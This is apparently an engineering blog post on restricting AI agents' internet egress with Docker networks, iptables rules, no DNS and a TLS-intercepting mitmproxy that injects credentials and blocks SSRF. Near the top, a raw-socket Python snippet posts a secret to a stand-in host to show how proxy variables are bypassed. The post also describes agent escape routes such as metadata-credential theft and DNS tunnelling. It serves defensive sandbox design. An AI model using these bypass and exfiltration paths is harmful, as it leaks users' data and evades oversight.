Most AI agents need internet access to be useful. At the most fundamental level, they need it to call the model provider's API 1, but also for things like fetching documentation, cloning public repos, or searching for information.
You might start off by giving it internet access. Now it can call api.anthropic.com
, but it can also curl your secrets to a random server. It can install the packages you need, but it can also hit 169.254.169.254
, the AWS instance metadata endpoint 2.
But if you take away the access, the agent becomes less useful.
How do we give the agent enough internet to be useful, without giving it unrestricted egress?
The goal #
I'm going to assume that we are running the agents in a sandbox environment. Then our goal is simple: the only way out of the sandbox is through the proxy. The proxy can inspect requests, permit or deny them, and even modify them.
For that guarantee to hold, enforcement has to live below the application layer. The agent could potentially change environment variables, ignore SDK configurations, or even open raw sockets.
The network layer has to enforce this. The proxy is just the policy engine on the one outbound path that remains.
First attempt: environment variables #
The first thing to try is to set the proxy environment variables.
export HTTP_PROXY=http://proxy:8080
export HTTPS_PROXY=http://proxy:8080
export ALL_PROXY=http://proxy:8080
This works for most software, curl
, requests
, the Anthropic/OpenAI SDKs, etc. But it's up to the client to honor this convention.
import socket
s = socket.socket()
s.connect(("bad-site.com", 80))
body = b"secret"
s.sendall(
b"POST / HTTP/1.1\r\n"
b"Host: bad-site.com\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
This is all that is needed for the container to bypass the proxy and reach bad-site.com
. We need something that enforces it.
Second attempt: Docker networks #
I'm going to assume Docker + gVisor for the examples, but the same high-level pattern applies to Firecracker and similar sandbox boundaries.3
Docker has a concept of an internal network: a network with no default route to the outside world, only to other containers. If we then put the agent on the internal sandbox
network and put the proxy on both the sandbox
and an egress
network, then the proxy becomes the only way out.
networks:
sandbox:
internal: true
egress:
driver: bridge
Better, but still with some issues:
internal: true
blocks default-route egress, but Docker still attaches its embedded DNS resolver at 127.0.0.11
to containers on that network. DNS can act as a covert channel. An agent that can make DNS queries can exfiltrate data one hostname lookup at a time.
The agent can also reach the proxy container on any port it exposes, not just the proxy port. If anything else lands on the same sandbox
network, the agent can talk to it. A container may also reach host-side services through its bridge gateway IP, which hits the host's INPUT chain rather than the FORWARD chain. And unless you explicitly handle it, IPv6 is another path; IPv4 iptables rules don't touch IPv6 traffic.
Third attempt: firewall rules #
We need to ensure that the sandbox can connect to only one destination: the proxy.
In our production setup, each agent run gets its own Linux bridge with its own iptables chain and ipset. The rules on the FORWARD chain, which is the egress path from the container, are roughly:
ESTABLISHED,RELATED
to ACCEPT, as the fast path for connections already open.- Loopback to ACCEPT.
- ICMP to DROP. We do not need it for this sandbox, and it is another tunnelling path.
- UDP to DROP. This intentionally kills DNS.
- TCP SYN rate limit to DROP excess connections.
- TCP SYN concurrent connection limit to DROP excess connections.
- Destination in the per-bridge ipset to ACCEPT, otherwise LOG and DROP.
The ipset contains exactly one entry: (proxy_ip, proxy_port)
. Nothing else gets through.
A separate INPUT rule drops traffic from the bridge to the host except for the proxy port. Without this, a container could reach services on the host by aiming at its own bridge gateway IP. IPv6 is disabled on the bridge. Bandwidth is policed per bridge with tc tbf
, so one runaway agent cannot saturate the uplink.
The proxy environment variables are still present in the container, but only as a convenience. They help SDKs and package managers find the proxy without extra configuration. They play no role in security. The security comes from the fact that the network will not accept packets to anywhere else.
No DNS #
We make DNS unavailable inside the sandbox by removing the normal resolver paths and dropping DNS egress in the firewall rules. The proxy's own hostname is injected through /etc/hosts
inside the container so SDKs can still reach it, and all upstream hostname resolution happens in the proxy. Some clients need a hint that they should not try to resolve target hostnames themselves. E.g. Claude Code needs a *_PROXY_RESOLVES_HOSTS=1
-style flag so it understands that the proxy is responsible for upstream resolution.
Killing DNS removes it as a covert channel. But it also means hostname policy is something the proxy controls. If the agent resolves hostnames itself, you can get SSRF and rebinding cases where the name looks allowed but the IP is not. The proxy needs to be the thing that resolves and checks the destination.
What a firewall cannot do #
At this point, every outbound packet goes to the proxy. So why not just use firewall rules and skip the proxy?
A firewall decides whether a connection can exist, but doesn't normally understand the intent of the connection.
You can allow api.anthropic.com:443
, but that allows every possible API call to Anthropic: every model, every operation, every credential. A firewall wouldn't inject the right API key. It doesn't understand the difference between pushing to a public vs a private repo.
The firewall is necessary to ensure the proxy is used, but it is not enough on its own.
What does the proxy do #
In our case, the proxy is an HTTP(S) proxy; arbitrary TCP egress is not allowed. That is what lets it make decisions based on hostnames, methods, paths, headers, and payloads rather than just IPs and ports.
Credential injection
We never want to store credentials inside a sandbox, instead we give the agent placeholder credentials:
ANTHROPIC_API_KEY=sandbox-placeholder
OPENAI_API_KEY=sandbox-placeholder
They exist so SDK constructors don't crash during initialisation.
Then on every outbound request, the proxy rewrites the upstream auth headers with the real secret from a secret store. The agent never receives the real secret, so it cannot directly exfiltrate it.
Per-run allowlists
Every sandbox run gets a short lived JWT embedded in the proxy URL:
http://x:<jwt>@proxy:8080
That JWT is sent on each request as Proxy-Authorization
. The proxy verifies it on each CONNECT request for HTTPS and on each plain HTTP request. The token carries information about which customer is running the agent and the rights this run has.
This is then used to inform the proxy which domains are allowlisted, which models are allowed, etc for this session.
The JWT is not a hidden credential from the agent, but it's relatively short lived.
SSRF defense
The proxy resolves the target hostname on the proxy side. On every connection, it rejects the request if any resolved IP is loopback, private, link-local, multicast, reserved, or otherwise not globally routable. It also pins the connection to the resolved IP, so the upstream cannot pivot mid-request through a TTL=0 rebinding trick.
This is what protects against the classic case where an allowlisted hostname resolves to 169.254.169.254
. It works because the proxy is the only thing doing DNS.
Payload inspection and rewriting
The proxy can read and rewrite HTTP payloads. That means blocking writes to private repos while allowing reads from public ones, rewriting model names to route a customer to a different provider, parsing usage
out of streaming SSE responses for billing, and substituting server-side secrets into request bodies.
We can even rewrite calls from Anthropic SDK to Gemini's API and get Claude Code running on Gemini 3.5 Flash.
What we use #
The proxy itself is mitmproxy. It is an open-source HTTPS proxy built for interception: it terminates TLS using its own CA, generates per-host leaf certificates on the fly, and lets you write Python addons that see requests and responses as structured objects.
from mitmproxy import http
class InjectKey:
def request(self, flow: http.HTTPFlow) -> None:
if flow.request.pretty_host == "api.anthropic.com":
flow.request.headers["x-api-key"] = real_key_for(flow)
def response(self, flow: http.HTTPFlow) -> None:
record_usage(flow.response.content)
addons = [InjectKey()]
Policy lives in normal Python. In our setup the addon calls back into the orchestrator to verify the JWT, fetch credentials, and acknowledge token usage.
For the proxy to read or rewrite payloads, it has to terminate TLS, which means it is a MITM in the literal sense. Every language ecosystem has its own idea of where certificates live, so you have to set all of:
SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt
REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt
NODE_EXTRA_CA_CERTS=/etc/ssl/certs/ca-certificates.crt
CURL_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt
GRPC_DEFAULT_SSL_ROOTS_FILE_PATH=/etc/ssl/certs/ca-certificates.crt
Miss one of these and some client will throw a TLS error. The tempting fix is verify=False
, and agents are very good at finding tempting fixes. That may not bypass the sandbox, but it normalises disabling certificate verification and can leak into code the agent writes. Better to make the proxy CA work everywhere.
You don't need a new proxy process per sandbox. Mitmproxy can bind to multiple addresses in a single process: one proxy listens on many gateway IPs, one per sandbox bridge. Sandboxes come and go; the proxy stays warm. Per-run state is pushed in when a sandbox is claimed.
Certificate-pinned clients are a separate case: they may reject the proxy CA even when the system trust store is configured correctly.
Overview #
agent process
β
β only destination the network accepts
βΌ
proxy:8080
β
β verifies JWT
β checks allowed_domains
β resolves hostname
β rejects private IPs
β rewrites auth headers
β injects credentials from secrets store
β reads and parses response
β records usage
βΌ
upstream
Battle scars #
Provider preflight calls. Claude Code probes /api/claude_code
on api.anthropic.com
and pulls a config from raw.githubusercontent.com/anthropics/claude
at startup. If you let the requests through but the response shape is not what it expects, things hang. We fail-fast these with a 404 at the proxy.
SSE mid-stream drops. If an upstream connection dies in the middle of a streaming response, plain mitmproxy just closes the socket. The Anthropic SDK then hangs waiting for the next event. We inject a synthetic event: error
SSE chunk before closing so the SDK gets a clean error.
Dead upstream sockets. When an upstream connection dies silently, a load balancer drops it, a NAT entry times out, the Linux kernel takes about two hours to notice by default, and only if keepalive is enabled at all. The agent's SDK sits there waiting for bytes that will never arrive. We monkey-patch socket.connect
in the proxy to enable SO_KEEPALIVE
on every outbound socket and tune it down with TCP_KEEPIDLE=5
, TCP_KEEPINTVL=3
, TCP_KEEPCNT=3
, so the kernel tears down a dead connection within seconds and the proxy can surface a real error to the SDK.
gVisor steals the eth0 IP. This only matters if you recycle network namespaces across sandbox runs, but when you do, it is maddening. During sandbox init, runsc
removes the IP address from eth0
via netlink.AddrDel
to configure its own internal stack, which also removes the default route. You have to re-add the IP and default route after each release.
Conclusion #
It is easy to frame all of this as security. And it mostly is: preventing exfiltration 4 and SSRF is table stakes if you are running untrusted agent code on client data.
Security was the main reason we built it, but we ended up getting a lot of operational benefits too.
Once all egress goes through one proxy, you get a single place to inject secrets, enforce per-run policy, account for model usage, hide provider quirks, and trace what happened.
While it might feel like a lot of upfront work, it enables some really interesting workflows. And you can finally feel safe letting your agents access the internet again.
Unless you are running your models locally. Still probably outside the sandbox.
β© - On EC2, instance metadata can expose the instance role's temporary AWS credentials. If that role is overpowered,
curl metadata
can quickly become "own the AWS account".β© - Also assumed that the sandbox is not privileged, has no CAP_NET_ADMIN, cannot use host networking, cannot modify host firewall rules.
β© - "No unrestricted egress" is not the same as no exfiltration. Data can still leave through destinations you allow; the proxy just gives you one place to define and enforce that policy. Bad rules still leak data.
β©